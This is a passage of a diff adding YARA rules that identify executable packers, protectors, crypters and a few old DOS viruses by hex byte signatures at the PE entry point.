+			$a0 = { 60 E8 ?? ?? ?? ?? 5D 81 ED D2 2A 44 ?? B8 CC 2A 44 ?? 03 C5 2B 85 A5 2E 44 ?? 89 85 B1 2E 44 ?? 80 BD 9C 2E 44 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule MacromediaWindowsFlashProjectorPlayerv30
+	{
+	strings:
+			$a0 = { 55 8B EC 83 EC 44 56 FF 15 94 13 42 00 8B F0 B1 22 8A 06 3A C1 75 13 8A 46 01 46 3A C1 74 04 84 C0 75 F4 38 0E 75 0D 46 EB 0A 3C 20 7E 06 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PESpinV11cyberbob
+	{
+	strings:
+			$a0 = { EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 7D DE 46 00 0B E4 74 9E }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RLPack118aPlib043ap0x
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 ?? 83 C7 ?? 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83 BD 0A 04 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 A7 03 00 00 89 85 16 04 00 00 5B FF B5 16 04 00 00 56 FF D3 83 C4 ?? 8B B5 16 04 00 00 8B C6 EB 01 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule DotFixNiceProtectvna
+	{
+	strings:
+			$a0 = { 60 E8 55 00 00 00 8D BD 00 10 40 00 68 ?? ?? ?? 00 03 3C 24 8B F7 90 68 31 10 40 00 9B DB E3 55 DB 04 24 8B C7 DB 44 24 04 DE C1 DB 1C 24 8B 1C 24 66 AD 51 DB 04 24 90 90 DA 8D 77 10 40 00 DB 1C 24 D1 E1 29 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Upackv032betaDwing
+	{
+	strings:
+			$a0 = { E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 32 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PackItBitch10archphase
+	{
+	strings:
+			$a0 = { 00 00 00 00 00 00 00 00 00 00 00 00 28 ?? ?? ?? 35 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 41 ?? ?? ?? 50 ?? ?? ?? 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? ?? ?? 79 ?? ?? ?? 7D ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule JDPack2xJDPack
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 68 51 40 00 68 04 25 40 00 64 A1 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RPolyCryptv10personalpolycryptorsignfrompinch
+	{
+	strings:
+			$a0 = { 50 58 97 97 60 61 8B 04 24 80 78 F3 6A E8 00 00 00 00 58 E8 00 00 00 00 58 91 91 EB 00 0F 85 6B F4 76 6F E8 00 00 00 00 83 C4 04 E8 00 00 00 00 58 90 E8 00 00 00 00 83 C4 04 8B 04 24 80 78 F1 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Upackv031betaDwing
+	{
+	strings:
+			$a0 = { E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 31 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+
+	rule Packmanv0001
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 58 8D A8 ?? ?? FF FF 8D 98 ?? ?? ?? FF 8D ?? ?? 01 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01PEPack099Anorganix
+	{
+	strings:
+			$a0 = { 60 E8 11 00 00 00 5D 83 ED 06 80 BD E0 04 90 90 01 0F 84 F2 FF CC 0A E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EXECryptor239minimumprotection
+	{
+	strings:
+			$a0 = { 68 ?? ?? ?? ?? E9 ?? ?? ?? FF 50 C1 C8 18 89 05 ?? ?? ?? ?? C3 C1 C0 18 51 E9 ?? ?? ?? FF 84 C0 0F 84 6A F9 FF FF E9 ?? ?? ?? FF C3 E9 ?? ?? ?? FF E8 CF E9 FF FF B8 01 00 00 00 E9 ?? ?? ?? FF 2B D0 68 A0 36 80 D4 59 81 C9 64 98 FF 99 E9 ?? ?? ?? FF 84 C0 0F 84 8E EC FF FF E9 ?? ?? ?? FF C3 87 3C 24 5F 8B 00 03 45 FC 83 C0 18 E9 ?? ?? ?? FF 87 0C 24 59 B8 01 00 00 00 D3 E0 23 D0 E9 02 18 00 00 0F 8D DB 00 00 00 C1 E8 14 E9 CA 00 00 00 9D 87 0C 24 59 87 1C 24 68 AE 73 B9 96 E9 C5 10 00 00 0F 8A ?? ?? ?? ?? E9 ?? ?? ?? FF 81 FD F5 FF 8F 07 E9 4F 10 00 00 C3 E9 5E 12 00 00 87 3C 24 E9 ?? ?? ?? FF E8 ?? ?? ?? FF 83 3D ?? ?? ?? ?? 00 0F 85 ?? ?? ?? ?? 8D 55 EC B8 ?? ?? ?? ?? E9 ?? ?? ?? FF E8 A7 1A 00 00 E8 2A CB FF FF E9 ?? ?? ?? FF C3 E9 ?? ?? ?? FF 59 89 45 E0 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FSGv110EngdulekxtMicrosoftVisualC60ASM
+	{
+	strings:
+			$a0 = { F7 D0 EB 02 CD 20 BE BB 74 1C FB EB 02 CD 20 BF 3B ?? ?? FB C1 C1 03 33 F7 EB 02 CD 20 68 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule HaspdongleAlladin
+	{
+	strings:
+			$a0 = { 50 53 51 52 57 56 8B 75 1C 8B 3E ?? ?? ?? ?? ?? 8B 5D 08 8A FB ?? ?? 03 5D 10 8B 45 0C 8B 4D 14 8B 55 18 80 FF 32 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SafeDiscv4
+	{
+	strings:
+			$a0 = { 00 00 00 00 00 00 00 00 00 00 00 00 42 6F 47 5F }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule PKLITEv112v115v1201
+	{
+	strings:
+			$a0 = { B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 ?? ?? 73 ?? 2D ?? ?? FA 8E D0 FB 2D ?? ?? 8E C0 50 B9 ?? ?? 33 FF 57 BE ?? ?? FC F3 A5 CB B4 09 BA ?? ?? CD 21 CD 20 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PKLITEv112v115v1202
+	{
+	strings:
+			$a0 = { B8 ?? ?? BA ?? ?? 3B C4 73 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EXECryptorv153
+	{
+	strings:
+			$a0 = { E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 ?? ?? 00 31 C0 89 41 14 89 41 18 80 A1 C1 00 00 00 FE C3 31 C0 64 FF 30 64 89 20 CC C3 }
+
+	condition:
+			$a0
+	}
+	rule MSLRHv032afakeEXE32Pack13xemadicius
+	{
+	strings:
+			$a0 = { 3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC 56 3B D2 74 02 81 85 57 E8 00 00 00 00 3B DB 74 01 90 83 C4 14 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule eXpressorv11CGSoftLabs
+	{
+	strings:
+			$a0 = { E9 15 13 00 00 E9 F0 12 00 00 E9 58 12 00 00 E9 AF 0C 00 00 E9 AE 02 00 00 E9 B4 0B 00 00 E9 E0 0C 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule NsPackV11LiuXingPing
+	{
+	strings:
+			$a0 = { 9C 60 E8 00 00 00 00 5D B8 57 84 40 00 2D 50 84 40 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PrivatePersonalPackerPPPv102ConquestOfTroycom
+	{
+	strings:
+			$a0 = { E8 17 00 00 00 E8 68 00 00 00 FF 35 2C 37 00 10 E8 ED 01 00 00 6A 00 E8 2E 04 00 00 E8 41 04 00 00 A3 74 37 00 10 6A 64 E8 5F 04 00 00 E8 30 04 00 00 A3 78 37 00 10 6A 64 E8 4E 04 00 00 E8 1F 04 00 00 A3 7C 37 00 10 A1 74 37 00 10 8B 1D 78 37 00 10 2B D8 8B 0D 7C 37 00 10 2B C8 83 FB 64 73 0F 81 F9 C8 00 00 00 73 07 6A 00 E8 D9 03 00 00 C3 6A 0A 6A 07 6A 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxHorse1776
+	{
+	strings:
+			$a0 = { E8 ?? ?? 5D 83 ?? ?? 06 1E 26 ?? ?? ?? ?? BF ?? ?? 1E 0E 1F 8B F7 01 EE B9 ?? ?? FC F3 A6 1F 1E 07 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PEShit
+	{
+	strings:
+			$a0 = { B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 83 F9 00 7E 06 80 30 ?? 40 E2 F5 E9 ?? ?? ?? FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule DrWebVirusFindingEngineInSoftEDVSysteme
+	{
+	strings:
+			$a0 = { B8 01 00 00 00 C2 0C 00 8D 80 00 00 00 00 8B D2 8B ?? 24 04 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule PluginToExev100BoBBobSoft
+	{
+	strings:
+			$a0 = { E8 00 00 00 00 29 C0 5D 81 ED D1 40 40 00 50 FF 95 B8 40 40 00 89 85 09 40 40 00 FF 95 B4 40 40 00 89 85 11 40 40 00 50 FF 95 C0 40 40 00 8A 08 80 F9 22 75 07 50 FF 95 C4 40 40 00 89 85 0D 40 40 00 8B 9D 09 40 40 00 60 6A 00 6A 01 53 81 C3 ?? ?? ?? 00 FF D3 61 6A 00 68 44 69 45 50 FF B5 0D 40 40 00 6A 00 81 C3 ?? ?? ?? 00 FF D3 83 C4 10 FF 95 B0 40 40 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RCryptorv15PrivateVaska
+	{
+	strings:
+			$a0 = { 83 2C 24 4F 68 ?? ?? ?? ?? FF 54 24 04 83 44 24 04 4F B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule NeoLitev200
+	{
+	strings:
+			$a0 = { 8B 44 24 04 23 05 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 04 FE 05 ?? ?? ?? ?? 0B C0 74 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PKLITEv200bextra
+	{
+	strings:
+			$a0 = { 50 B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 02 00 72 ?? B4 09 BA ?? ?? CD 21 B8 01 4C CD 21 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EA ?? ?? ?? ?? F3 A5 C3 59 2D ?? ?? 8E D0 51 2D ?? ?? 50 80 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Crunch5Fusion4
+	{
+	strings:
+			$a0 = { EB 15 03 ?? ?? ?? 06 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 55 E8 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule MSLRHv032afakePEBundle023xemadicius
+	{
+	strings:
+			$a0 = { 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PEMangle
+	{
+	strings:
+			$a0 = { 60 9C BE ?? ?? ?? ?? 8B FE B9 ?? ?? ?? ?? BB 44 52 4F 4C AD 33 C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule WWPACKv302v302av304Relocationspack
+	{
+	strings:
+			$a0 = { BE ?? ?? BF ?? ?? B9 ?? ?? 8C CD 81 ED ?? ?? 8B DD 81 EB ?? ?? 8B D3 FC FA 1E 8E DB 01 15 33 C0 2E AC }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule UPXProtectorv10x
+	{
+	strings:
+			$a0 = { EB EC ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule NorthStarPEShrinkerv13byLiuxingping
+	{
+	strings:
+			$a0 = { 9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 73 ?? FF FF 8B 06 83 F8 00 74 11 8D B5 7F ?? FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 C7 06 01 00 00 00 8B D5 8B 85 4F ?? FF FF 2B D0 89 95 4F ?? FF FF 01 95 67 ?? FF FF 8D B5 83 ?? FF FF 01 }
+
+	condition:
+			$a0
+	}
+	rule CodeCryptv015b
+	{
+	strings:
+			$a0 = { E9 31 03 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RLPackFullEdition117Ap0x
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECompactv100
+	{
+	strings:
+			$a0 = { EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB C4 84 40 ?? 87 DD 8B 85 49 85 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule AHTeamEPProtector03fakeASProtect10FEUERRADER
+	{
+	strings:
+			$a0 = { 90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 60 E8 01 00 00 00 90 5D 81 ED 00 00 00 00 BB 00 00 00 00 03 DD 2B 9D }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule KGCryptvxx
+	{
+	strings:
+			$a0 = { E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? 64 A1 30 ?? ?? ?? 84 C0 74 ?? 64 A1 20 ?? ?? ?? 0B C0 74 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxKBDflags1024
+	{
+	strings:
+			$a0 = { 8B EC 2E 89 2E 24 03 BC 00 04 8C D5 2E 89 2E 22 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule yodasProtectorV102AshkbizDanehkar
+	{
+	strings:
+			$a0 = { E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 23 3F 42 00 8B D5 81 C2 72 3F 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 3A 66 42 00 81 E9 1D 40 42 00 8B D5 81 C2 1D 40 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 C3 1F 00 00 33 C0 64 FF 30 64 89 20 43 CC C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Obsidium1311ObsidiumSoftware
+	{
+	strings:
+			$a0 = { EB 02 ?? ?? E8 27 00 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 22 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? C3 EB 02 ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 03 ?? ?? ?? 33 C0 EB 01 ?? 8B 00 EB 03 ?? ?? ?? C3 EB 01 ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 03 ?? ?? ?? 58 EB 03 ?? ?? ?? EB 01 ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 03 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+		rule PseudoSigner01MicrosoftVisualC620Anorganix
+	{
+	strings:
+			$a0 = { 90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 55 8B EC 83 EC 50 53 56 57 BE 90 90 90 90 8D 7D F4 A5 A5 66 A5 8B }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule MEGALITEv120a
+	{
+	strings:
+			$a0 = { B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 2D 73 ?? 72 ?? B4 09 BA ?? ?? CD 21 CD 90 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+/*	
+	rule tElock09910privatetE
+	{
+	strings:
+			$a0 = { E9 ?? ?? FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+*/
+
+	rule GoatsMutilatorV16Goat_e0f
+	{
+	strings:
+			$a0 = { E8 EA 0B 00 00 ?? ?? ?? 8B 1C 79 F6 63 D8 8D 22 B0 BF F6 49 08 C3 02 BD 3B 6C 29 46 13 28 5D }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Armadillo430aSiliconRealmsToolworks
+	{
+	strings:
+			$a0 = { 44 64 65 44 61 74 61 20 69 6E 69 74 69 61 6C 69 7A 65 64 20 28 41 4E 53 49 29 2C 20 61 70 70 20 73 74 72 69 6E 67 73 20 61 72 65 20 27 25 73 27 20 61 6E 64 20 27 25 73 27 00 00 00 44 64 65 44 61 74 61 20 69 6E 69 74 69 61 6C 69 7A 65 64 20 28 55 4E 49 43 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule Upackv038betaDwing
+	{
+	strings:
+			$a0 = { BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 38 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 }
+	$a1 = { BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 38 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? ?? 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 33 D2 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B 7E 34 0F 82 97 FE FF FF 58 5F 59 E3 1B 8A 07 47 04 18 3C 02 73 F7 8B 07 3C ?? 75 F1 B0 00 0F C8 03 46 38 2B C7 AB E2 E5 5E 5D 59 51 59 46 AD 85 C0 74 1F }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	rule DCryptPrivate09bdrmist
+	{
+	strings:
+			$a0 = { B9 ?? ?? ?? 00 E8 00 00 00 00 58 68 ?? ?? ?? 00 83 E8 0B 0F 18 00 D0 00 48 E2 FB C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule kkrunchyV02XRyd
+	{
+	strings:
+			$a0 = { BD ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF 4D 08 C6 45 0C 05 8D 7D 14 31 C0 B4 04 89 C1 F3 AB BF ?? ?? ?? ?? 57 BE ?? ?? ?? ?? 31 C9 41 FF 4D 0C 8D 9C 8D A0 00 00 00 FF D6 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SkDUndetectabler3NoFSG2MethodSkD
+	{
+	strings:
+			$a0 = { 55 8B EC 81 EC 10 02 00 00 68 00 02 00 00 8D 85 F8 FD FF FF 50 6A 00 FF 15 38 10 00 01 50 FF 15 3C 10 00 01 8D 8D F8 FD FF FF 51 E8 4F FB FF FF 83 C4 04 8B 15 ?? 16 00 01 52 A1 ?? 16 00 01 50 E8 50 FF FF FF 83 C4 08 A3 ?? 16 00 01 C7 85 F4 FD FF FF 00 00 00 00 EB 0F 8B 8D F4 FD FF FF 83 C1 01 89 8D F4 FD FF FF 8B 95 F4 FD FF FF 3B 15 ?? 16 00 01 73 1C 8B 85 F4 FD FF FF 8B 0D ?? 16 00 01 8D 54 01 07 81 FA 74 10 00 01 75 02 EB 02 EB C7 8B 85 F4 FD FF FF 50 E8 ?? 00 00 00 83 C4 04 89 85 F0 FD FF FF 8B 8D F0 FD FF FF 89 4D FC C7 45 F8 00 00 00 00 EB 09 8B 55 F8 83 C2 01 89 55 F8 8B 45 F8 3B 85 F4 FD FF FF 73 15 8B 4D FC 03 4D F8 8B 15 ?? 16 00 01 03 55 F8 8A 02 88 01 EB D7 83 3D ?? 16 00 01 00 74 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule NTPacker10ErazerZ
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 E0 53 33 C0 89 45 E0 89 45 E4 89 45 E8 89 45 EC B8 ?? ?? 40 00 E8 ?? ?? FF FF 33 C0 55 68 ?? ?? 40 00 64 FF 30 64 89 20 8D 4D EC BA ?? ?? 40 00 A1 ?? ?? 40 00 E8 ?? FC FF FF 8B 55 EC B8 ?? ?? 40 00 E8 ?? ?? FF FF 8D 4D E8 BA ?? ?? 40 00 A1 ?? ?? 40 00 E8 ?? FE FF FF 8B 55 E8 B8 ?? ?? 40 00 E8 ?? ?? FF FF B8 ?? ?? 40 00 E8 ?? FB FF FF 8B D8 A1 ?? ?? 40 00 BA ?? ?? 40 00 E8 ?? ?? FF FF 75 26 8B D3 A1 ?? ?? 40 00 E8 ?? ?? FF FF 84 C0 75 2A 8D 55 E4 33 C0 E8 ?? ?? FF FF 8B 45 E4 8B D3 E8 ?? ?? FF FF EB 14 8D 55 E0 33 C0 E8 ?? ?? FF FF 8B 45 E0 8B D3 E8 ?? ?? FF FF 6A 00 E8 ?? ?? FF FF 33 C0 5A 59 59 64 89 10 68 ?? ?? 40 00 8D 45 E0 BA 04 00 00 00 E8 ?? ?? FF FF C3 E9 ?? ?? FF FF EB EB 5B E8 ?? ?? FF FF 00 00 00 FF FF FF FF 01 00 00 00 25 00 00 00 FF FF FF FF 01 00 00 00 5C 00 00 00 FF FF FF FF 06 00 00 00 53 45 52 56 45 52 00 00 FF FF FF FF 01 00 00 00 31 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SexeCrypter11bysantasdad
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 EC 53 56 57 33 C0 89 45 EC B8 D8 39 00 10 E8 30 FA FF FF 33 C0 55 68 D4 3A 00 10 64 FF 30 64 89 ?? ?? ?? ?? E4 3A 00 10 A1 00 57 00 10 50 E8 CC FA FF FF 8B D8 53 A1 00 57 00 10 50 E8 FE FA FF FF 8B F8 53 A1 00 57 00 10 50 E8 C8 FA FF FF 8B D8 53 E8 C8 FA FF FF 8B F0 85 F6 74 26 8B D7 4A B8 14 57 00 10 E8 AD F6 FF FF B8 14 57 00 10 E8 9B F6 FF FF 8B CF 8B D6 E8 DA FA FF FF 53 E8 84 FA FF FF 8D 4D EC BA F8 3A 00 10 A1 14 57 00 10 E8 0A FB FF FF 8B 55 EC B8 14 57 00 10 E8 65 F5 FF FF B8 14 57 00 10 E8 63 F6 FF FF E8 52 FC FF FF 33 C0 5A 59 59 64 89 10 68 DB 3A 00 10 8D 45 EC E8 ED F4 FF FF C3 E9 83 EF FF FF EB F0 5F 5E 5B E8 ED F3 FF FF 00 53 45 54 54 49 4E 47 53 00 00 00 00 FF FF FF FF 12 00 00 00 6B 75 74 68 37 36 67 62 62 67 36 37 34 76 38 38 67 79 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxGotcha879
+	{
+	strings:
+			$a0 = { E8 ?? ?? 5B 81 EB ?? ?? 9C FC 2E ?? ?? ?? ?? ?? ?? ?? 8C D8 05 ?? ?? 2E ?? ?? ?? ?? 50 2E ?? ?? ?? ?? ?? ?? 8B C3 05 ?? ?? 8B F0 BF 00 01 B9 20 00 F3 A4 0E B8 00 01 50 B8 DA DA CD 21 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule MZ0oPE106bTaskFall
+	{
+	strings:
+			$a0 = { EB CA 89 03 83 C3 04 87 FE 32 C0 AE 75 FD 87 FE 80 3E FF 75 E2 46 5B 83 C3 04 53 8B 1B 80 3F FF 75 C9 8B E5 61 68 ?? ?? ?? ?? C3 }
